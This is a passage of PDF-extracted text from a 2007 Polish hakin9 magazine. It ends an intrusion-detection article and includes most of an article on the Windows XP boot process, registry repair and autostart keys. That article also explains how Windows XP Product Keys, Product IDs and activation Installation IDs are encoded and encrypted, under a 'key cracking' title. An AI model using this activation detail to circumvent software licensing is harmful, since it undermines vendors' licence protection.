le nowych pomysłów i metod, opra-
cowanych przez czytelnika w trakcie
lektury. Jako radę na przyszłość pra-
gnę podać nauczenie się odnotowy-
wania wszelkich dowodów i śladów
na innych, zewnętrznych nośnikach
– my w trakcie analiz odkryliśmy kil-
ka adresów IP, które być może na-
leżą do włamywacza. Pomimo te-
go, że do tej pory nic o tym nie wspo-
minałem, bardzo często administra-
torzy przekazują ślady działalności
intruzów do policji lub CERTu (zgła-

szanie incydentu: http://www.cert.pl/
index3.html?id=11
). W takim przy-
padku nie możemy usuwać śladów
intruza, gdyż będą one stanowiły do-
wody w ewentualnej sprawie sądo-
wej – należy dowiedzieć się bezpo-
średnio u odpowiednich organów, co
i w jaki sposób należy zabezpieczyć.
Podążając tą drogą warto mieć ko-
pie zapasowe systemu, które będzie
można szybko przywrócić – chociaż-
by na innej maszynie – i bez przerwy
w działaniu dalej świadczyć usługi, a
samą jednostką zaatakowaną zająć
się w laboratorium – odizolowanym
fragmencie sieci.

Podsumowanie

Na podstawie analizy dwóch ataków
wykonanych przez zgoła odmiennych
agresorów przedstawiłem podstawo-
we sposoby detekcji samego intruza
i śladów pozostawianych przez niego
w systemie. Zaprezentowałem ścież-
ki, którymi należy podążać w trakcie
podstawowej analizy. Podstawowej,
gdyż samo zagadnienie wykrywania
włamań oraz detekcji intruza jest bar-
dzo szerokie i wymaga specjalistycz-
nej wiedzy z wielu dziedzin informaty-

ki i bezpieczeństwa sieciowego. Przez
cały artykuł zmuszony byłem przemil-
czeć pewne sprawy i aspekty związa-
ne z samym działaniem detekcyjnym,
ze względu na fakt ich skomplikowa-
nia. Milcząco też zakładałem pewne
stany systemu i sposoby jego konfi-
guracji – wszystko po to, aby móc zo-
brazować konkretne elementy detek-
cji. Jestem świadomy tego, że każda
analiza wygląda zupełnie inaczej, jest
sprawą indywidualną związaną ze
sposobem działania danego napast-
nika, zależną od systemu i jego kon-
figuracji. Pomimo to starałem się za-
szczepić w czytelniku pewien tok my-
ślenia: dążenie do poszerzania wie-
dzy, do samodzielnej analizy przed-
stawionych przypadków, do głębsze-
go przemyślenia wszelkich działań in-
truza, do kreatywności w opracowy-
waniu metod detekcji, chęć pokony-
wania problemów i zadań oraz rozkła-
du ich na czynniki pierwsze. Wszystko
to dlatego, aby czytelnik samodzielnie
był w stanie opracować i stworzyć dro-
gę detekcji intruza w systemie zarzą-
dzanym przez siebie – aby mógł po-
wiązać ze sobą tak błahą sprawę, jak
wzmożona praca dysku, z włamaniem
i był w stanie reagować odpowiednio
na wszystkie takie sygnały. Chcia-
łem zwrócić uwagę na liczne powią-
zania każdego drobnego aspektu pra-
cy sieci z sygnałami o włamaniu, gdyż
jest to sprawą kluczową, pozwalają-
cą osiągnąć sukces. Wszelkie działa-
nia mające na celu wykrycie intruza w
systemie powinny być przemyślane i
poparte odpowiednią wiedzą. Ważne
jest, aby administrator bardzo dobrze
znał swoją jednostkę serwerową oraz
sieć. Warto również mieć na uwadze
fakt, że wszelkie narzędzia stosowa-
ne przez włamywaczy są także na-
szymi przyjaciółmi – sprawdzenie po
włamaniu pewnych elementów sys-
temu za pomocą takich narzędzi da-
je nam obraz systemu, jaki uzyskał
intruz i na jego podstawie możemy
wnioskować o przyjętych przez wła-
mywacza działaniach i strategiach, co
jest dla nas bardzo pomocne. Na sam
koniec pragnę przypomnieć senten-
cję Sun Tzu: Cała sztuka walki bazu-
je na zwodzeniu przeciwnika -
pamię-
tajmy o tym! l

O autorze

Autor od wielu lat interesuje się informatyką – swoje zainteresowania skupił głównie na
zagadnieniach i problematyce sieci komputerowych oraz bezpieczeństwa teleinforma-
tycznego. Jest samoukiem i pasjonatem. Studiuje informatykę na wydziale Cybernety-
ki Wojskowej Akademii Technicznej.
Kontakt z autorem: bartosz.kalinowski@gmail.com

W Sieci

http://www.securityfocus.com/infocus/1771 – monitorowanie integralności systemu,
http://www.snort.org/ - najpopularniejszy i najbardziej znany system IDS,
http://www.sans.org/resources/idfaq/ - FAQ dotyczące wykrywania włamań,
http://www.honeypots.net/ids/products – zbiór narzędzi dotyczących wykrywania

włamań,

http://csrc.nist.gov/publications/nistpubs/800-94/SP800-94.pdf – przewodnik po

IDS i IDPS stworzony przez NIST,

http://www.metrocomputers.com/Ports.htm – przegląd koni trojańskich ze wzglę-

du na wykorzystywane porty,

http://www.securityfocus.com/ids – dział dotyczący IDS – wiele artykułów i analiz,
http://www.securityfocus.com/infocus/1811 – wykrywanie rootkitów,
http://www.cert-in.org.in/training/29thmarch05/rootkits.pdf – zasady działania i

wykrywanie rootkitów,

http://google.com + hasła IDS, intrusion prevention, intrusion detection etc., miej-

sce od którego należy zacząć wyszukiwanie informacji.

background image

www.hakin9.org

hakin9 Nr 10/2007

48

Atak

W

systemie Windows XP Professio-
nal PL rejestr składa się z plików
sam.dat, security.dat, software.dat,

system.dat oraz default.dat umieszczonych w
katalogu C:\Windows\System32\Config oraz
pliku ntuser.dat umieszczonego w katalogu
profilu danego użytkownika i odpowiadające-
go za jego prywatną konfigurację. Znajomość
i zrozumienie procesów zachodzących pod-
czas startu komputera oraz systemu operacyj-
nego ma duże znaczenie. Pozwala wykryć i na-
prawić potencjalne błędy czy problemy związa-
ne z ładowanymi sterownikami i oprogramowa-
niem. Początkowy etap startu komputera kon-
trolowany jest przez BIOS i test POST – Po-
wer On Self Test
, odpowiedzialny głównie za
testowanie karty graficznej i pamięci RAM, a
także procesora. Ostatnim etapem realizowa-
nym przez BIOS jest odszukanie pierwszego
sektora dysku startowego MBR – Master Bo-
ot Record
i wczytanie z niego do pamięci RAM
programu inicjującego ładowanie – tzw. bootlo-
adera, który z kolei odpowiedzialny jest za ła-
dowanie do pamięci pliku startowego NTLDR
(NT Loader) uruchamiającego system opera-
cyjny. Pierwszym etapem startu systemu jest
odczytanie przez NTLDR pliku Boot.ini.

Start WINDOWS

Edytując plik boot.ini należy pamiętać o za-
chowaniu oryginalnej wersji i wciśnięciu klawi-
sza ENTER na końcu pliku. W przypadku, gdy
zainstalowanych jest kilka systemów operacyj-
nych, wyświetlone zostaje menu startowe wy-
boru systemu, natomiast gdy jest tylko jeden
system, np. Windows XP Professional, menu
startowe jest pomijane. Po wybraniu opcji startu
Windows XP uruchamiany jest program NTDE-
TECT.COM
, który analizuje konfigurację portów
komunikacyjnych, zainstalowanych kart rozsze-
rzeń w magistralach PCI, EISA i ISA, napędów

Łamanie klucza rejestracji

Windows XP

Rafał Podsiadły

stopień trudności

Uruchamiamy system, na pierwszym ekranie pojawia się

komunikat, system Windows nie znalazł pliku c:\windows\

system32\config, już myślimy o ponownej reinstalacji systemu,

a wystarczy wykorzystać konsole odzyskiwania, aby uratować

system.

Z artykułu dowiesz się

• jak zaczyna życie najpopularniejszy system

operacyjny.

Co powinieneś wiedzieć

• znać podstawy Windows,
• śledzić magazyn hakin9, ten artykuł będzie

częściowo nawiązywał do tekstu Hakowanie
rejestru
z numeru 8/2007.

background image

Każdy system ma swoje tajemnice, czy znasz je wszystkie?

hakin9 Nr 10/2007

www.hakin9.org

49

dyskowych i myszki. Wszystkie te in-
formacje zapisywane są w kluczu:

HKEY_LOCAL_MACHINE\HARDWARE\

DESCRIPTION.

Następny etap startu systemu ope-
racyjnego związany jest z ładowa-
niem przez NTLDR jądra systemo-
wego, NTOSKRNL.EXE. W dalszej
kolejności odszukiwane są sterowni-
ki uruchamianych

urządzeń. Informacje na temat

tych sterowników umieszczone są w
rejestrze w kluczu:

HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Services.

Jeśli któryś ze sterowników po-

siada wartość Start 0x0, oznacza to,
że zostanie załadowany, ale nie uru-
chomiony, jak w przypadku PCIIde
(Rysunek 1).

Jeśli wartość Start ustawiona jest

na 0x1, to oznacza, że sterownik zo-
stanie jednocześnie załadowany i
uruchomiony, np. sterownik Cdrom.

Kolejnym etapem startu systemu

jest menedżer sesji Smss.exe. Infor-

macje na jego temat znajdują się w
kluczu:

HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Control\Session

Manager.

Menedżer sesji odpowiedzialny jest
za uruchamianie programów znaj-
dujących się w wartości BootExe-
cute
. Domyślnie znajduje się tam au-
tochk
uruchamiający program Auto-
chk.exe
, który sprawdza dysk twar-
dy w momencie startu Windows.
Menedżer sesji odpowiedzialny jest
również za uruchamianie menedże-
ra logowania Winlogon.exe, zarzą-
dzającego logowaniem użytkownika
do systemu. Podczas uruchamiania
procesu Winlogon pobierana jest za-
wartość klucza:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
WindowsNT\CurrentVersion\Winlogon.

Po udanym zalogowaniu użytkow-
nika do systemu w rejestrze nastę-
puje modyfikacja wpisów dotyczą-
cych ostatniej poprawnej konfigu-
racji systemu. Jeśli wszystko prze-

biegło prawidłowo, pojawia się pul-
pit. Z punktu widzenia użytkownika
najistotniejsze są informacje, któ-
re klucze rejestru są aktywowane i
odpowiadają za uruchomienie pro-
gramów i skryptów podczas star-
tu systemu operacyjnego. Wiąże
się to w głównej mierze z niebez-
pieczeństwami wynikającymi na
przykład z uruchamiania się diale-
rów.(Patrz ramka lista istotnych klu-
czy rejestru)

Ponadto, aby mieć całkowitą

pewność i kontrolę nad uruchamia-
nymi podczas startu systemu pro-
gramami, warto sprawdzać wpisy
w pliku Win.ini w sekcji

Load=

i

Run=

oraz sprawdzać, jakie skróty znajdu-
ją się w folderze Autostart umiejsco-
wionym w katalogach C:\Documents
and Settings\All Users\Menu Start\
Programy\Autostart
i C:\Documents
and Settings\nazwa użytkownika\
Menu Start\Programy\Autostart
.

Tryby uruchamiania

systemu

Po instalacji nowego urządzenia
lub programu system niekiedy od-
mawia nam posłuszeństwa. Wtedy
należy wykonać rozruch z wciśnię-
tym klawiszem F8 podczas począt-
kowej fazy ładowania systemu – wy-
wołać ekran menu, z którego można
wybrać specjalne tryby uruchamia-
nia systemu. Lista dostępnych try-
bów jest długa. Jeżeli awaria sys-
temu wystąpiła bezpośrednio po
zainstalowaniu nowego urządzenia
lub programu, rozwiązaniem będzie
wybór opcji Ostatnia dobra konfigu-
racja (ostatnie działające ustawie-
nia), dzięki której można uruchomić
system dokładnie w takim stanie, w
jakim po raz ostatni którykolwiek z
użytkowników pomyślnie się do nie-
go zalogował.

Pełna lista specjalnych trybów

uruchamiania systemu Windows XP
wygląda następująco:

• Tryb awaryjny – system zostanie

uruchomiony z minimalną licz-
bą sterowników (np. nie zosta-
ną zainstalowane sterowniki na-
pędu CD-ROM). Wszystkie uru-
chomione w tym trybie urządze-

Listing 1.

Przykładowe odzyskanie rejestru

md kopia
copy c:\windows\system32\config\system c:\windows\kopia\system.bak
copy c:\windows\system32\config\software c:\windows\kopia\software.bak
copy c:\windows\system32\config\sam c:\windows\kopia\sam.bak
copy c:\windows\system32\config\security c:\windows\kopia\security.bak
copy c:\windows\system32\config\default c:\windows\kopia\default.bak
delete c:\windows\system32\config\system
delete c:\windows\system32\config\software
delete c:\windows\system32\config\sam
delete c:\windows\system32\config\security
delete c:\windows\system32\config\default
copy c:\windows\repair\system c:\windows\system32\config\system
copy c:\windows\repair\software c:\windows\system32\config\software
copy c:\windows\repair\sam c:\windows\system32\config\sam
copy c:\windows\repair\security c:\windows\system32\config\security
copy c:\windows\repair\default c:\windows\system32\config\default

Tabela 1.

Rozmiar rekordów

Nazwa

Rozmiar

offset

H1

Double word

0

H2

Double word

4

P1

Double word

8

P2

Double word

12

P3

byte

16

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

50

nia korzystać będą z podstawo-
wej wersji sterowników. Jeżeli po-
mimo wybrania tej opcji system
nadal się nie uruchamia, świad-
czy to o bardzo poważnych błę-
dach urządzeń niezbędnych do
jego działania (dysku twarde-
go, procesora, pamięci lub płyty
głównej).

• Tryb awaryjny z obsługą sieci

– od poprzedniego trybu różni
się tym, że zostanie uruchomio-
na obsługa sieci (sterowniki kar-
ty sieciowej i najważniejsze usłu-
gi sieciowe).

• Tryb awaryjny z wierszem pole-

ceń – system zostanie urucho-
miony w trybie awaryjnym, ale
nie będzie uruchomiony graficz-
ny interfejs użytkownika. Ten
sposób uruchamiania komputera
może pomóc przy rozwiązywa-
niu poważnych problemów zwią-
zanych z obsługą karty grafiki.

• Włącz rejestrowanie urucha-

miania – podczas uruchamiania
systemu w pliku rejestrowane
są wszystkie sterowniki i usługi
uruchamiane przez system. Plik
wynikowy ntbtlog.txt umieszczo-
ny zostanie w głównym katalogu
systemu Windows.

• Włącz tryb VGA – system jest

uruchamiany przy użyciu pod-
stawowego sterownika VGA. Ten
tryb jest przydatny po zainstalo-
waniu nowego sterownika karty
grafiki, który uniemożliwił prawi-
dłowe uruchomienie systemu.

• Ostatnia dobra konfiguracja

– system zostaje uruchomiony
w tym stanie, w którym po raz
ostatni użytkownikowi udało się
do niego zalogować. W rezulta-
cie wszystkie zmiany dokonane
od ostatniego pomyślnego uru-
chomienia zostaną utracone.

• Tryb przywracania usług katalo-

gowych – opcja wykorzystywa-
na wyłącznie przy uruchamianiu
komputerów pełniących funkcję
kontrolera domeny umożliwiają-
ca odtworzenie lub przetestowa-
nie działania usług katalogowych
(ang. Active Directory).

• Tryb debugowania – specjalny

tryb diagnostyczny umożliwiają-
cy przesyłanie za pośrednictwem
kabla szeregowego informacji o
pracy systemu do innego kompu-
tera.

Kopia bezpieczeństwa

W systemach z rodziny NT zaimple-
mentowano automatyczne tworzenie
kopii bezpieczeństwa najważniej-
szych plików. Lokalizacja tej kopii to
katalog C:\windows\repair. Wykorzy-
stując konsolę odzyskiwania można
przeprowadzić uaktualnienie znisz-
czonych czy zagubionych plików na
podstawie ich poprawnych wzorców.
Osobiście zalecałbym zrobienie ko-
pii bezpieczeństwa katalogu sys-
temowego na osobnym CD po po-
prawnym zainstalowaniu systemu
operacyjnego i wszystkich jego ste-
rowników.

Plik boot.ini

Do pliku Boot.ini możemy dostać się na dwa sposoby. Pierwszym jest odkrycie wszyst-
kich plików ukrytych i systemowych. Boot.ini należy szukać w katalogu głównym sys-
temu (w większości przypadków C:\). Sposób drugi: z menu podręcznego ikony Mój
Komputer wybieramy Właściwości, uaktywniamy zakładkę Zaawansowane, w sekcji
Uruchamianie i odzyskiwanie klikamy przycisk Ustawienia, po czym wybierając przy-
cisk Edytuj otwieramy plik Boot.ini.

Geneza nazwy Windows

System operacyjny zarządza czterema podstawowymi typami operacji:

• Uruchamianiem, nadzorem i kończeniem procesów aplikacji. Zadaniem systemu operacyjnego jest wczytanie aplikacji do pamięci i

jej uruchomienie.

• Alokacją pamięci. Zadaniem systemu jest przydzielenie aplikacji potrzebnej jej ilości pamięci i zwolnienie obszarów pamięci dłu-

żej nieużywanych.

• Operacjami wejścia – wyjścia (I/O) plików. System plików (ang. File System) jest podstawową częścią każdego systemu opera-

cyjnego – funkcjonalność starszych systemów operacyjnych właściwie sprowadzała się do obsługi pamięci masowych.

• Urządzeniami wejścia – wyjścia. Ważnym zadaniem systemu operacyjnego jest komunikowanie się z urządzeniami wejścia

– wyjścia takimi jak karta graficzna, klawiatura czy mysz.

Historia DOS-u (ang. Disk Operating System) rozpoczęła się w 1981 roku, kiedy to mała firma Microsoft wykupiła od Seattle Compu-
ter Products
program, który zmodyfikowała tak, aby mógł on pracować na komputerach IBM PC i nazywała go MS DOS. Przez następ-
ne kilka lat produkt ten będzie rozwijany i modernizowany, ale najważniejsza zasada jego działania nie ulegnie zmianie – systemy ope-
racyjne oparte na DOS-ie pozwalały na równoczesną pracę z jednym komputerem, tylko jednemu użytkownikowi, który mógł urucho-
mić dokładnie jeden program.

Zasada ta została złamana w sierpniu 1995 roku wraz z premierą systemu Windows 95. System umożliwiał jednoczesne urucha-

mianie dowolnej liczby aplikacji, z których każda mogła być uruchamiana w oddzielnym oknie – przełączając się pomiędzy oknami
użytkownik mógł kontrolować pracę każdej aplikacji. Wraz z premierą pierwszego systemu z rodziny NT i pojawieniem się we wrze-
śniu 2001 r. Windows XP (finalnego systemu łączącego w sobie technologie NT, Win98 i ME), pojawiła się możliwość przełączania
się pomiędzy oknami użytkowników bez potrzeby wylogowywania się z systemu. Firma Microsoft tym samym złamała ostanie ogra-
niczenie, dotyczące liczby jednocześnie pracujących z komputerem osób (Pominięto historię Windows 98, Windows98SE, Windows
Milenium oraz Windows NT.)

background image

Każdy system ma swoje tajemnice, czy znasz je wszystkie?

hakin9 Nr 10/2007

www.hakin9.org

51

Klucz aktywacyjny

Po pierwszym uruchomieniu – zaraz
po instalacji systemu – powinno się
wykonać jego aktywację. Program
służący do aktywacji odczytuje, wy-
korzystując PID 3.0 (technologię uni-
kalnych kluczy produktów), nume-
ry seryjne urządzeń zainstalowa-
nych w komputerze (karty: sieciowa
i graficzna, napędy: CD-ROM oraz
DVD-ROM, procesor, dysk twardy,
kontrolery SCSI oraz IDE, pamięć
RAM). Oto jak wygląda przykłado-
wy klucz::

002666-077894-484890-114573-XXXXXX-
XXXXXX-XXXXXX-XXXXXX-XX

(znaczące wyrazy zostały zastąpio-
ne przez X).

W każdym z fragmentów powyż-

szego ciągu znajduje się cyfra kon-
trolna – jest to ostatnia liczba z sze-
ściocyfrowego wycinka klucza. Po-
zwala ona odkryć błąd w kluczu, da-
jąc odpowiedź, czy ten jest poprawny.

Zatem dla pierwszej grupy – 002666
– cyfrą kontrolną będzie 6, a dla gru-
py następnej – 077894 – cyfra 4.

Wartość kontrolna

W każdym ciągu dostępna wartość
kontrolna jest tworzona przez zsu-
mowanie pierwszych pięciu cyfr z
grupy, następnie do otrzymanego
wyniku jest dodawana suma cyfr
znajdujących się na parzystych miej-
scach w tym bloku i jest wykonywa-
ne dzielenie przez 7. A nasza cyfra
kontrola to po prostu reszta z tego
dzielenia, która powinna w wypadku
pierwszej grupy wynosić 6.

Dekodowanie

Usunięcie cyfr kontrolnych pozo-
stawia nam 41-cyfrowy numer. Ten
dziesiętny 41-cyfrowy numer jest re-
prezentacją 136-bitowej liczby typu
integer o dużej precyzji, która jest
składowana w tablicy o następują-
cym porządku poszczególnych baj-
tów (Rysunek 2).

Także i w tym przypadku zna-

czące cyfry zostały zastąpione XX.
Liczba 0x oznacza oczywiście nota-
cję szesnastkową.

Deszyfrowanie

Po zdekodowaniu kilku kluczy moż-
na zauważyć, że najbardziej znaczą-
cy bajt ma zawsze wartość 0x00 lub
0x01, a reszta liczb ma wartości lo-
sowe. Dzieje się tak dlatego, że 16
młodszych bajtów INSTALLATION
ID
jest zakodowanych, a najbardziej
znaczący nie.

Wykorzystany algorytm szyfrowa-

nia jest czterokrotnym algorytmem Fe-
istela. Gdy ciąg bajtów wejściowych
jest poddawany obróbce przy pomo-
cy tego algorytmu, jest on dzielony na
dwie grupy o równej, parzystej liczbie
bajtów - w tym przypadku jest to naj-
mniej znaczące 16 z 17 bajtów wejścio-
wych. Funkcją szyfrującą jest algorytm
SHA-1 z kluczami 4 bajtowymi.

Załóżmy, że + oznacza sumę

dwóch bajtów, ^ oznacza operację
XOR, L i R oznacza odpowiednio le-
wy i prawy 8-bajtowy ciąg wejścio-
wy, L' i R' są wynikowymi połówka-
mi wspomnianej funkcji,

First-8()

jest funkcją, która zwraca pierwsze
8 bajtów skrótu SHA-1, a Key jest
kluczem. Jedno przejście algorytmu
wygląda wtedy tak:

L' = R ^ First-8(SHA-1(L + Key))
R' = L

Tabela 2.

Reprezentacja dekodowania

Cyfra

Długość

Reprezentacja

AAAAA

17 bitów

Bity 0 – 16 P1

BBB

10 bitów

Bity 17 – 26 P1

CCCCCCC

28 bitów

Bity 27 – 31 P1 (młodsze 5 bitów)
Bity 0 – 22 P2 (starsze 23 bity)

DDEEE

17 bitów

Bity 23 – 31 P2 (młodsze 9 bitów)
Bity 0 – 7 P3(starsze 8 bitów)

Najistotniejsze klucze rejestru Windows

W kluczach Run znajdują się uruchamiane programy:

• dla wszystkich użytkowników:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run.

• dla obecnie zalogowanego użytkownika:

_ CURRENT _ USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY

W kluczach RunOnce i RunOnceEx zawarte są programy ładowane jednorazowo podczas startu systemu:

• dla wszystkich użytkowników:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce: HKEY_LOCAL_

MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

• dla obecnie zalogowanego użytkownika:

HKEY _ CURRENT _ USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKEY _ CURRENT _ USER\Software\Microsoft\Windows\CurrentVersion\RunOnceE

W kluczach RunServices i RunServicesOnce zawarte są informacje na temat ładowanych i uruchamianych usług systemowych:

• dla wszystkich użytkowników:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices HKEY_

LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

• dla obecnie zalogowanego użytkownika:

HKEY _ CURRENT _ USER\Software\Microsoft\Windows\CurrentVersion\

RunServicesHKEY CURRENT _ USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

52

Rezultatem deszyfracji jest 16 nieza-
kodowanych znaków, które razem z
17-tym niezakodowanym bajtem są
interpretowane jako 4 zorganizowa-
ne podwójne słowa z jednym bajtem
kończącym : H1 i H2 opisują konfigu-
rację sprzętu, która jest wysyłana w
INSTALLATION ID, P1, P2 i P3 za-
wierają PRODUCT ID.

Product ID

PRODUCT ID zawiera pięć grup cyfr
dziesiętnych w porządku jak niżej:

AAAAA-BBB-CCCCCCC-DDEEE

Jeżeli poszukasz w rejestrze klucza
o nazwie Product ID, możesz zna-
leźć ID odpowiadający twojej instala-
cji. Okienko About Internet Explorera
także wyświetli twój Product ID.

Dekodowanie

Zależność pomiędzy Product ID a
dziesiętną reprezentacją i jej dwój-
kowym odwzorowaniem w podwój-
nych słowach P1 i P2 (a także baj-
tem P3) jest podsumowana w poniż-
szej tablicy:

Znaczenie każdej z pięciu grup

cyfr jest udokumentowane w tabeli 3.
Jak widać, Raw Product Key odgry-

wa bardzo ważną rolę w generowa-
niu PRODUCT ID.

Product Key

Raw Product Key jest ukryty we-
wnątrz Product Key, który jest wydru-
kowany na naklejce rozpowszech-
nianej z płytką dystrybucyjną Win-
dows XP. Jest on przedstawiony jako
pięć łańcuchów alfanumerycznych o
długości 5 znaków każdy:

FFFFF-GGGGG-HHHHH-JJJJJ-KKKKK

Każdy znak jest jedną z 24 cyfr lub li-
ter (B C D F G H J K M P Q R T V W X Y
2 3 4 6 7 8 9). Bardzo podobnie, jak
w przypadku dziesiętnego kodowa-
nia wartości INSTALLATION ID, 25
znaków określających Product Key
tworzy zakodowaną w systemie ba-
se-24
dwójkową reprezentację Pro-
duct Key
. Wynikiem dekodowania
Product Key jest liczba całkowita du-
żej precyzji o wielkości w przybliże-
niu 115 bitów, która jest przedsta-
wiana jako tablica 15-bajtowa zapi-
sana w odwrotnym porządku. Jeże-
li zdekodujemy przedstawiony powy-
żej przykład Product Key, w wyniku
otrzymamy następującą tablicę (Ta-
bela 6.). Najmniej znaczące 4 bajty

tablicy zawierają Raw Product Key
(zapisany w odwrotnym porządku).
Najmniej znaczący bit jest usunię-
ty poprzez przesunięcie 32 bitowej
wartości (0x4595FA6F – pamiętaj-
my o odwrotnym porządku !) o jeden
bit w lewo – w rezultacie Raw Pro-
duct Key
równy jest 0x22CAFD37
lub (dziesiętnie) 583728439.

Pozostałe 11 bajtów tablicy two-

rzy podpis cyfrowy, umożliwiający
weryfikację autentyczności Product
Key
przy wykorzystaniu szyfrowania
z kluczem publicznym.

Product Key- Product ID

Trzy najbardziej znaczące cyfry dzie-
siętnej reprezentacji Raw Product Key
(w naszym przykładzie 583) znajdu-
ją bezpośrednie odzwierciedlenie w
komponencie BBB wartości PRO-
DUCT ID
opisywanej powyżej. Aby
uzyskać komponent CCCCCCC,
do pozostałych sześciu cyfr (a więc
728439) dodaje się cyfrę kontrolną.
Jest ona tak dobierana, aby suma
wszystkich siedmiu cyfr (razem z kon-
trolną) była podzielna przez siedem.
W naszym przypadku: 7 + 2 + 8 + 4 +
3 + 9 = 33, co daje cyfrę kontrolną 2,
ponieważ: 7 + 2 + 8 + 4 + 3 + 9 + 2 =
33 + 2 = 35, a 35 jest podzielne przez
siedem. Komponent CCCCCCC na-
szego PRODUCT ID ma zatem po-
stać 7284392. Dla celów weryfikacji
Product Key można wykorzystać wię-
cej niż jeden klucz publiczny. Jeżeli
nie powiodła się weryfikacja przy po-
mocy pierwszego w kolejności klucza,

Rysunek 2.

Reprezentacja bajtowa kodu

Rysunek 1.

Sterownik PCIIde

background image

Każdy system ma swoje tajemnice, czy znasz je wszystkie?

hakin9 Nr 10/2007

www.hakin9.org

53

brany pod uwagę jest drugi i ewentu-
alnie następne. Komponent DD Pro-
duct ID
wskazuje, który z kluczy pu-
blicznych w tej sekwencji zaowocował
prawidłową weryfikacją Product Key.
Ten mechanizm może być użyty, by
umożliwić generowanie większej ilo-
ści ważnych Product Keys z różnymi
indywidualnymi kluczami prywatnymi.
Jednakże różne klucze prywatne mo-
gą także reprezentować różne wer-
sje produktu. Product Key dla wersji
Professional może być podpisany in-
nym kluczem niż Product Key dla wer-
sji Server. komponent DD będzie więc
wtedy reprezentować wersję produk-
tu. Reasumując, poprawny PRO-
DUCT ID
z naszego przykładu może
wyglądać tak : 55034-583-7284392-
00123. Wskazuje on, że użyto pierw-
szego w kolejności klucza publiczne-
go (wartość komponentu DD, czyli in-
deksu, równa jest 0), natomiast jako
wartość losową obrano 123.

Losowo wybierany komponent

EEE jest przyczyną, dla której mso-
obe.exe
pokazuje różny INSTALLA-
TION ID
za każdym wywołaniem.
Ponieważ wartość ta jest poddawa-
na szyfrowaniu, nawet tak mała jej
zmiana powoduje powstanie kom-
pletnie różnego INSTALLATION ID.
Tak więc PRODUCT ID wysyłany
podczas aktywacji najprawdopodob-
niej rożni się 3 ostatnimi cyframi od
tego wyświetlanego w Internet Explo-
rerze i w rejestrze.

(Znaczenie

wartości

DD,

CCCCCCCC – patrz akapit Deko-
dowanie).

Konfiguracja sprzętowa

Jak wspomniałem wcześniej, opis
konfiguracji sprzętowej umieszczo-
ny w INSTALLATION ID jest repre-
zentowany przez dwa podwójne sło-
wa H1 i H2. Relacje pomiędzy konfi-
guracją sprzętową komputera a bita-
mi w słowach H1 oraz H2 przedsta-
wia Tabela 4. Relacje pomiędzy kon-
figuracją sprzętową komputera a bi-
tami w słowach H1 i H2.

Bit 31 bajtu słowa H2 pokazuje,

czy notebook obsługuje stacje doku-
jącą. Jeżeli dokowanie jest możliwe,
mechanizm aktywacji będzie bar-
dziej tolerancyjny na przyszłe mody-

Tabela 4.

Relacje pomiędzy konfiguracją sprzętową komputera a bitami w

słowach H1 i H2

Double word

Offset

Długość

Wartość bazuje na

H1

0

10

Numer seryjny wolumenu sys-
temowego

H1

10

10

Adres MAC karty sieciowej

H1

20

7

Ciąg identyfikacyjny napędu
CD-ROM

H1

27

5

Ciąg identyfikacyjny karty sie-
ciowej

H2

3

6

Numer seryjny procesora

H2

9

7

Ciąg identyfikacyjny dysku
twardego

H2

16

5

Ciąg identyfikacyjny kontrole-
ra SCSI

H2

21

5

Ciąg identyfikacyjny kontrole-
ra IDE

H2

25

3

Model procesora

H2

28

3

Rozmiar pamięci RAM

H2

31

1

1 = możliwość dokowania

H2

0 = niedokowalny

Tabela 5.

Wartości liczb dla pamięci RAM

Wartość

Ilość dostępnej pamięci RAM

0

Nie używana

1

Poniżej 32 MB

2

Pomiędzy 32 MB a 63 MB

3

Pomiędzy64 MB a 127 MB

4

Pomiędzy 128 MB a 255 MB

5

Pomiędzy 256 MB a 511 MB

6

Pomiędzy 512 MB a 1023 MB

7

Powyżej 1023 MB

Tabela 6.

Grupy bitów opisujące sprzęt

0x6F 0xFA 0x95 0x45 0xFC 0x75 0xB5 0x52
0xBB 0xEF 0xB1 0x17 0xDA 0xCD 0x00

Tabela 3.

Znaczenie cyfr

Cyfry

Znaczenie

AAAAA

Zawsze 55034 (w Windows XP RC1)

BBB

Najbardziej znaczące cyfry Raw Product Key

CCCCCCC

Mniej znaczące cyfry Raw Product Key

DD

Index do kluczy publicznych w celu weryfikacji Product Key

EEE

Losowa wartość

W Sieci

http://www.infojama.pl/38,artykul.aspx,
http://microsoft.com,
http://sciaga.nauka.pl/index.php/id=index/dept=54/cath=221/sc_kat=86/sc_id=1843,
http://support.microsoft.com/kb/307545/pl.

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

54

fikacje sprzętu. Należy uwzględnić
bowiem fakt, że kiedy notebook zo-
stanie zamontowany do stacji doku-
jącej, może się zmienić konfiguracja
sprzętowa, ponieważ może się tam
znajdować np. kontroler SCSI.

Wartość zero opisująca dany

komponent oznacza, że nie jest on
dostępny. W innym przypadku za-
wiera wartość niezerową.

Komponenty sprzętowe

Wartości opisujące sprzęt uzyski-
wane są przy pomocy algorytmu
MD5. Z uzyskanego skrótu pobiera
się niezbędną liczbę bitów ze ściśle
określonych dla danego urządzenia
lokalizacji. W celu uniknięcia warto-
ści zerowej, uzyskana wielkość kom-
binowana jest z liczbą możliwych do
zapisania wartości na danej ilości bi-
tów przeznaczonych na identyfika-
cję konkretnego urządzenia:

wartość = (wartośćtemp % BitFieldMax)
+ 1

wartośćtemp uzyskana jest w wyni-
ku działania algorytmu MD5, x % y
oznacza resztę z dzielenia x przez y,
a

BitFieldMax

– maksymalną wartość

możliwą do przechowania w danej
grupie bitów przeznaczonej na prze-
chowanie informacji o sprzęcie, np.
1023 dla 10-bitowego pola w przy-
padku adresu MAC karty sieciowej.

Opis wartości RAM

Wartość charakteryzująca ilość pa-
mięci RAM jest przeliczana inaczej.
